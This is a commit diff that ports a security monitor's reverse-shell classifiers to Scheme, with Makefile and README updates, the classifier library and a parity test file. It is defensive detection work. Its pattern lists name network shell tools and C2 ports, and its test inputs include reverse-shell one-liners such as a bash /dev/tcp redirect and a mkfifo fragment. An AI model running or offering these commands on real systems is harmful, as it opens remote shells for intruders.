Port revshell reverse-shell classifiers to untyped Jerboa
ober
7193baef025c4a7a8714e5a97e10b8530c07c93a
--- a/Makefile +++ b/Makefile @@ -8,7 +8,7 @@ SCHEME ?= $(JERBOA)/.chez/bin/scheme BUILD ?= build/rust TYPED := $(wildcard typed/*.ss) -.PHONY: rust test ffi-demo kernels-check triage-check triage-store-check analytics-check detect-check storage-check threats-check geoip-check sigma-check yaml-rules-check buffer-check dns-sniffer-check suspicious-check netconn-check kernmod-check selinux-check container-check dns-servers-check sensitive-path-check dtrace-parse-check proc-linux-check freebsd-parse-check event-meta-check config-check event-danger-check persistence-check file-change-check webshell-check platform-mounts-check analyze-cli-check collector-cli-check event-summary-check ioc-check checks clean +.PHONY: rust test ffi-demo kernels-check triage-check triage-store-check analytics-check detect-check storage-check threats-check geoip-check sigma-check yaml-rules-check buffer-check dns-sniffer-check suspicious-check netconn-check kernmod-check selinux-check container-check dns-servers-check sensitive-path-check dtrace-parse-check proc-linux-check freebsd-parse-check event-meta-check config-check event-danger-check persistence-check file-change-check webshell-check platform-mounts-check analyze-cli-check collector-cli-check event-summary-check ioc-check revshell-check checks clean # Combined libdir path so sibling libraries `(jsecmon ...)` resolve to ./jsecmon # (a second --libdirs would replace, not append, the jerboa one). LIBDIRS := "$(JERBOA)/lib:$(CURDIR)" @@ -248,6 +248,14 @@ event-summary-check: ioc-check: $(SCHEME) --libdirs $(LIBDIRS) --script examples/ioc_check.ss +# Reverse-shell classifiers (secmon src/monitor/revshell.rs): is_shell / +# is_revshell_tool (exact name), is_c2_port (17-port set), is_legitimate_service +# (443/8080/8443 + name substring), extract_addr_from_cmdline (/dev/tcp/ split), +# and classify_connection (checks 1–4, first match). Pure — connection/PID +# enumeration is the deferred I/O. revshell.rs has no #[test]; the check is spec. +revshell-check: + $(SCHEME) --libdirs $(LIBDIRS) --script examples/revshell_check.ss + # Everything that runs through the Jerboa side of the bridge, one shot. checks: kernels-check $(SCHEME) --libdirs $(LIBDIRS) --script examples/triage_check.ss @@ -282,6 +290,7 @@ checks: kernels-check $(SCHEME) --libdirs $(LIBDIRS) --script examples/collector_cli_check.ss $(SCHEME) --libdirs $(LIBDIRS) --script examples/event_summary_check.ss $(SCHEME) --libdirs $(LIBDIRS) --script examples/ioc_check.ss + $(SCHEME) --libdirs $(LIBDIRS) --script examples/revshell_check.ss clean: rm -rf $(BUILD) --- a/README.md +++ b/README.md @@ -54,6 +54,7 @@ make analyze-cli-check # analyze bin: parse_duration_ms + AlertSink::parse + --f make collector-cli-check # collector bin: --after/--format/--db + host normalize + hosts-file make event-summary-check # storage readers: extract_pid/extract_process_name/build_summary make ioc-check # storage IOC: detect_ioc_type + is_ipv4 + parse_ioc_text +make revshell-check # revshell: is_shell/is_c2_port/is_legitimate + classify_connection make checks # every Jerboa-side check in one shot ``` @@ -135,4 +136,5 @@ then crypto orchestration, then I/O / async / FFI (monitors, server, storage). | `bin/collector` (CLI/hosts parse helpers) | `jsecmon/collector-cli.ss` | ✅ **untyped layer** — the pure argument/hosts parsing of the `collector` binary, with the async polling + ECIES/PSK key loading + SQLite I/O deferred: `parse_after_seq` (first `--after` value as u64, `unwrap_or(0)` so junk/negative/≥2⁶⁴ → 0), `parse_format` (→ `'json`/`'human`/`'quiet`; a per-index scan where an unknown `--format` value does **not** consume the value — differs from analyze's `is_json_format` — and the no-flag default is `quiet` when a `--db` is present else `human`), `parse_db_path`, `normalize_host` (append `:31337` unless the host already contains **any** `:`, so bare IPv6 is left as-is, faithfully), `collect_positional_hosts` (skip the four value flags **and** their values, drop other `--` args, normalize the rest), and `parse_hosts_file`'s pure contents→hosts core (trim, drop blanks/`#` comments, normalize). secmon has no `#[test]` here so `make collector-cli-check` asserts against the Rust source. | | `storage` event readers (`extract_pid` / `extract_process_name` / `build_summary`) | `jsecmon/event-summary.ss` | ✅ **untyped layer** — the pure readers that turn an event's flat JSON `data` (a hash table, as `string->json-object` yields) back into a pid / process name / one-line summary, with the SQLite query + serde plumbing left to storage. Each field is read through a **typed** getter so only a JSON value of the right type counts (`as_u64`/`as_i64`/`as_str`/`as_bool`); `extract_pid` walks pid→source_pid→spawned_pid→web_server_pid and truncates the first hit to **u32** (Rust `v as u32`, so ≥2³² wraps, and pid 0 is a real hit); `extract_process_name` walks process_name→name→exe→source_process→spawned_process. `build_summary` reproduces every per-type format with the exact `unwrap_or` defaults (`"?"`/`0`), the `process_exit` exit-code *option* (Some(0) still prints `(0)`), the nested `selinux_event` perm/class/path-vs-message branches with the 80-char message cap, and the catch-all that scans values **in sorted key order** (serde's default BTreeMap) for the first string longer than 3 chars (capped at 80) else the event type. `make event-summary-check` (43 cases) reproduces secmon's `test_extract_helpers` + `test_build_summary` and adds every per-type / typed-getter corner derived from the source. | | `storage` IOC parsing (`detect_ioc_type` / `is_ipv4` / `parse_ioc_text`) | `jsecmon/ioc.ss` | ✅ **untyped layer** — the pure indicator classifier behind threat-list ingestion (the file read in `load_ioc_file` is the deferred I/O). `detect_ioc_type` is first-match ip→hash→domain→process: `is_ipv4` (split on `.`, exactly 4 non-empty ≤3-char all-digit groups — **no** 0–255 range check, so `999.999.999.999` is still Ip and `1.2.3.4444` is not), then IPv6 (`:` present and every char hex-or-`:`), then a 32/40/64-length all-hex Hash (MD5/SHA1/SHA256, case-insensitive), then a `.`-bearing space-free Domain, else Process. `parse_ioc_text` trims, drops blanks and `#` comments, and tags each remaining line (order preserved). `make ioc-check` reproduces the `test_ioc_type_detection` #[test] plus the is_ipv4 / parse corners. | +| `monitor/revshell` reverse-shell classifiers (`classify_connection` + helpers) | `jsecmon/revshell.ss` | ✅ **untyped layer** — the pure deciders of the reverse-shell monitor (connection/PID enumeration, event emission, and the dedup set stay in the monitor loop). `is_shell` / `is_revshell_tool` are **exact** lower-cased name membership; `is_c2_port` tests the 17-port C2 set; `is_legitimate_service` fires only on 443/8080/8443 and matches a **substring** of the name. `extract_addr_from_cmdline` finds `/dev/tcp/`, splits the remainder on `/`, and on ≥2 pieces returns `(addr . u16-port)` (first whitespace token of piece 1, junk/out-of-range→0), else `("unknown" . 0)`. `classify_connection` runs checks 1–4 first-match: shell→`shell-outbound`, C2-port-and-not-legit→`known-c2-port`, revshell-tool→`shell-outbound`, any `REVSHELL_PATTERNS` substring→`suspicious-redirect`, else `#f`. revshell.rs has no #[test], so `make revshell-check` (47 cases) **is** the spec. | | monitors / server / ebpf / dtrace | — | ⏳ I/O+async+FFI, last | new file mode 100644 --- /dev/null +++ b/examples/revshell_check.ss @@ -0,0 +1,133 @@ +;;; Parity check for (jsecmon revshell) against secmon src/monitor/revshell.rs. +;;; revshell.rs has no #[test], so every expectation here derives from the Rust +;;; source: the SHELL_NAMES / REVSHELL_TOOLS / LEGITIMATE_SERVICES / C2_PORTS / +;;; REVSHELL_PATTERNS sets and detect_reverse_shells' per-connection checks 1–4. +;;; +;;; scheme --libdirs "$JERBOA/lib:." --script examples/revshell_check.ss + +(import (jerboa prelude) + (jsecmon revshell)) + +(def fails 0) +(def (check name got want) + (let ((ok (equal? got want))) + (unless ok (set! fails (+ fails 1))) + (displayln (if ok " ok " " FAIL ") name + (if ok "" (str " got " got " want " want))))) + +;; ── is-shell: exact membership in SHELL_NAMES ──────────────────────────────── +(displayln "is-shell:") +(check "bash" (is-shell "bash") #t) +(check "sh" (is-shell "sh") #t) +(check "fish" (is-shell "fish") #t) +(check "ash" (is-shell "ash") #t) +(check "exact only: basht" (is-shell "basht") #f) +(check "exact only: -bash" (is-shell "-bash") #f) +(check "curl not shell" (is-shell "curl") #f) + +;; ── is-revshell-tool: exact membership in REVSHELL_TOOLS ────────────────────── +(displayln "is-revshell-tool:") +(check "nc" (is-revshell-tool "nc") #t) +(check "ncat" (is-revshell-tool "ncat") #t) +(check "socat" (is-revshell-tool "socat") #t) +(check "python3" (is-revshell-tool "python3") #t) +(check "gawk" (is-revshell-tool "gawk") #t) +(check "bash not a tool" (is-revshell-tool "bash") #f) +(check "ncx not a tool" (is-revshell-tool "ncx") #f) + +;; ── is-c2-port: membership in the 17-port C2 list ───────────────────────────── +(displayln "is-c2-port:") +(check "4444" (is-c2-port 4444) #t) +(check "31337" (is-c2-port 31337) #t) +(check "1337" (is-c2-port 1337) #t) +(check "65535" (is-c2-port 65535) #t) +(check "443" (is-c2-port 443) #t) +(check "8080" (is-c2-port 8080) #t) +(check "22 not c2" (is-c2-port 22) #f) +(check "80 not c2" (is-c2-port 80) #f) +(check "4446 not c2" (is-c2-port 4446) #f) + +;; ── is-legitimate-service: only on 443/8080/8443, SUBSTRING of name ─────────── +(displayln "is-legitimate-service:") +(check "curl on 443" (is-legitimate-service "curl" 443) #t) +(check "wget on 8080" (is-legitimate-service "wget" 8080) #t) +(check "chrome on 8443"(is-legitimate-service "chrome" 8443) #t) +;; substring match: a longer proc name containing a legit token still matches +(check "apt-get on 443" (is-legitimate-service "apt-get" 443) #t) +(check "mycurl on 443 (substring)" (is-legitimate-service "mycurl" 443) #t) +;; not on a legit port -> #f even for a legit name +(check "curl on 4444 -> #f" (is-legitimate-service "curl" 4444) #f) +(check "curl on 80 -> #f" (is-legitimate-service "curl" 80) #f) +;; legit port but non-legit name -> #f +(check "nc on 443 -> #f" (is-legitimate-service "nc" 443) #f) + +;; ── extract-addr-from-cmdline: find /dev/tcp/, split remainder on '/' ───────── +(displayln "extract-addr-from-cmdline:") +(check "bash /dev/tcp redirect" + (extract-addr-from-cmdline "bash -i >& /dev/tcp/1.2.3.4/4444 0>&1") + (cons "1.2.3.4" 4444)) +(check "trailing slash -> port 0" + (extract-addr-from-cmdline "x /dev/tcp/1.2.3.4/") + (cons "1.2.3.4" 0)) +(check "no /dev/tcp -> unknown" + (extract-addr-from-cmdline "echo hi") + (cons "unknown" 0)) +;; only one piece after /dev/tcp/ (no second slash) -> unknown . 0 +(check "addr only, no slash -> unknown" + (extract-addr-from-cmdline "exec 5<>/dev/tcp/10.0.0.5") + (cons "unknown" 0)) +;; port is first whitespace token of the second piece; rest of cmdline ignored +(check "port token then space" + (extract-addr-from-cmdline "/dev/tcp/9.9.9.9/8888 then junk") + (cons "9.9.9.9" 8888)) +;; out-of-range / junk port -> 0 +(check "junk port -> 0" + (extract-addr-from-cmdline "/dev/tcp/9.9.9.9/notaport") + (cons "9.9.9.9" 0)) +(check "port >65535 -> 0" + (extract-addr-from-cmdline "/dev/tcp/9.9.9.9/70000") + (cons "9.9.9.9" 0)) + +;; ── classify-connection: checks 1–4, first match wins ──────────────────────── +(displayln "classify-connection:") +;; 1. shell name -> shell-outbound (beats everything) +(check "bash -> shell-outbound" (classify-connection "bash" "" 1234) 'shell-outbound) +(check "BASH upper -> shell-outbound (caller lowercases)" + (classify-connection "BASH" "" 22) 'shell-outbound) +;; 2. c2 port (non-legit) -> known-c2-port +(check "weird on 4444 -> known-c2-port" + (classify-connection "weird" "" 4444) 'known-c2-port) +(check "weird on 443 -> known-c2-port" + (classify-connection "weird" "" 443) 'known-c2-port) +;; 2 suppressed: legit service on 443 is NOT a c2 hit, falls through to #f +(check "curl on 443 legit -> #f" + (classify-connection "curl" "" 443) #f) +(check "wget on 8080 legit -> #f" + (classify-connection "wget" "" 8080) #f) +;; 3. revshell tool -> shell-outbound +(check "nc -> shell-outbound" + (classify-connection "nc" "" 12) 'shell-outbound) +(check "socat -> shell-outbound" + (classify-connection "socat" "" 80) 'shell-outbound) +;; 4. revshell pattern in cmdline -> suspicious-redirect +(check "redirect pattern -> suspicious-redirect" + (classify-connection "x" "bash -i >& /dev/tcp/1.2.3.4/4444 0>&1" 12) + 'suspicious-redirect) +(check "mkfifo pattern -> suspicious-redirect" + (classify-connection "x" "rm -f /tmp/f;mkfifo /tmp/f" 12) + 'suspicious-redirect) +;; cmdline lower-cased before pattern scan +(check "uppercase pattern still matches" + (classify-connection "x" "EXEC 5<>/DEV/TCP/1.2.3.4/4444" 12) + 'suspicious-redirect) +;; nothing matches -> #f +(check "benign -> #f" + (classify-connection "myapp" "myapp --serve" 80) #f) +;; ordering: revshell tool on a c2 port -> check 2 (c2 port) wins over check 3 +(check "nc on 4444 -> known-c2-port (check 2 before 3)" + (classify-connection "nc" "" 4444) 'known-c2-port) + +(newline) +(if (= fails 0) + (displayln "OK: revshell matches secmon's monitor/revshell.rs classifiers.") + (begin (displayln fails " FAILURES") (exit 1))) new file mode 100644 --- /dev/null +++ b/jsecmon/revshell.ss @@ -0,0 +1,117 @@ +#!chezscheme +;;; jsecmon reverse-shell classifiers (secmon src/monitor/revshell.rs), untyped. +;;; +;;; The pure deciders of the reverse-shell monitor, with the connection/PID +;;; enumeration, event emission, and dedup set left to the monitor loop: +;;; is-shell : name -> #t | #f (exact, lower-cased name) +;;; is-revshell-tool : name -> #t | #f (exact) +;;; is-c2-port : port -> #t | #f +;;; is-legitimate-service : name port -> #t | #f +;;; extract-addr-from-cmdline : cmdline -> (addr . port) +;;; classify-connection : name cmdline port -> method | #f +;;; detection methods map to the symbols 'shell-outbound / 'known-c2-port / +;;; 'suspicious-redirect (ReverseShellMethod), #f meaning "not flagged". +;;; +;;; classify-connection mirrors detect_reverse_shells' per-connection checks +;;; 1–4, in order (first match wins), lowercasing the name and cmdline the way +;;; the caller does: +;;; 1. is-shell name -> 'shell-outbound +;;; 2. is-c2-port port AND NOT is-legitimate-service -> 'known-c2-port +;;; 3. is-revshell-tool name -> 'shell-outbound +;;; 4. any REVSHELL_PATTERNS substring in the cmdline -> 'suspicious-redirect +;;; Faithful corners: is-shell / is-revshell-tool are EXACT equality (the caller +;;; lower-cases), is-legitimate-service only fires on ports 443/8080/8443 and +;;; uses a SUBSTRING of the name, and the C2-port check is suppressed for those +;;; legitimate services. extract-addr-from-cmdline finds "/dev/tcp/", splits the +;;; remainder on '/', and on ≥2 pieces returns (piece0 . u16-of-first-token); +;;; the port is the first whitespace token parsed as u16 (junk / out-of-range / +;;; missing -> 0); anything else returns ("unknown" . 0). +;;; +;;; revshell.rs has no #[test], so examples/revshell_check.ss derives every +;;; expectation from the Rust source and IS the spec for this port. + +(library (jsecmon revshell) + (export is-shell is-revshell-tool is-c2-port is-legitimate-service + extract-addr-from-cmdline classify-connection) + (import (except (chezscheme) + make-hash-table hash-table? + sort sort! + printf fprintf + path-extension path-absolute? + with-input-from-string with-output-to-string + iota 1+ 1- + partition + make-date make-time) + (except (jerboa prelude) meta atom?)) + + (def *shell-names* + '("sh" "bash" "dash" "zsh" "ksh" "csh" "tcsh" "fish" "ash")) + + (def *revshell-tools* + '("nc" "ncat" "netcat" "socat" "telnet" "nmap" + "python" "python2" "python3" "perl" "ruby" "php" "lua" + "openssl" "cryptcat" "awk" "gawk")) + + (def *legitimate-services* + '("curl" "wget" "firefox" "chrome" "chromium" "apt" "apt-get" + "yum" "dnf" "pacman" "pip" "npm" "cargo")) + + (def *c2-ports* + '(4444 4445 5555 6666 6667 7777 8888 9999 1234 1337 31337 + 12345 54321 65535 443 8080 8443)) + + ;; suspicious cmdline patterns indicating a reverse shell (in scan order). + (def *revshell-patterns* + '("/dev/tcp/" "/dev/udp/" "bash -i" "sh -i" "zsh -i" "0>&1" "1>&0" "2>&1" + ">&/dev/tcp" ">&/dev/udp" "| /bin/sh" "| /bin/bash" "|/bin/sh" "|/bin/bash" + "python -c 'import socket" "python3 -c 'import socket" "perl -e 'use Socket" + "ruby -rsocket" "php -r '$sock=fsockopen" "nc -e" "ncat -e" "nc -c" "ncat -c" + "mkfifo /tmp/" "mknod /tmp/" "exec 5<>/dev/tcp" "exec 196<>/dev/tcp" + "telnet " "rm -f /tmp/f;mkfifo" "bash -c 'bash -i")) + + (def (is-shell name) (if (member name *shell-names*) #t #f)) + (def (is-revshell-tool name) (if (member name *revshell-tools*) #t #f)) + (def (is-c2-port port) (if (memv port *c2-ports*) #t #f)) + + (def (is-legitimate-service proc-name port) + (if (and (memv port '(443 8080 8443)) + (any (lambda (l) (string-contains proc-name l)) *legitimate-services*)) + #t #f)) + + ;; first non-empty whitespace-delimited token of s, or #f. + (def (first-ws-token s) + (let ((toks (filter (lambda (x) (not (string-empty? x))) (string-split s #\space)))) + (if (null? toks) #f (car toks)))) + + ;; parse::<u16>().ok().unwrap_or(0): whole token must be a 0..65535 integer. + (def (parse-u16-or-0 tok) + (if tok + (let ((n (string->number tok))) + (if (and n (integer? n) (>= n 0) (< n 65536)) n 0)) + 0)) + + (def (extract-addr-from-cmdline cmdline) + (let ((idx (string-contains cmdline "/dev/tcp/"))) + (if idx + (let* ((rest (substring cmdline (+ idx 9) (string-length cmdline))) + (parts (string-split rest #\/))) + (if (>= (length parts) 2) + (cons (list-ref parts 0) + (parse-u16-or-0 (first-ws-token (list-ref parts 1)))) + (cons "unknown" 0))) + (cons "unknown" 0)))) + + (def (revshell-pattern? cl) + (if (any (lambda (p) (string-contains cl p)) *revshell-patterns*) #t #f)) + + ;; per-connection classification, checks 1–4 in order; #f if not flagged. + (def (classify-connection name cmdline remote-port) + (let ((pname (string-downcase name)) + (cl (string-downcase cmdline))) + (or + (and (is-shell pname) 'shell-outbound) + (and (is-c2-port remote-port) + (not (is-legitimate-service pname remote-port)) + 'known-c2-port) + (and (is-revshell-tool pname) 'shell-outbound) + (and (revshell-pattern? cl) 'suspicious-redirect)))))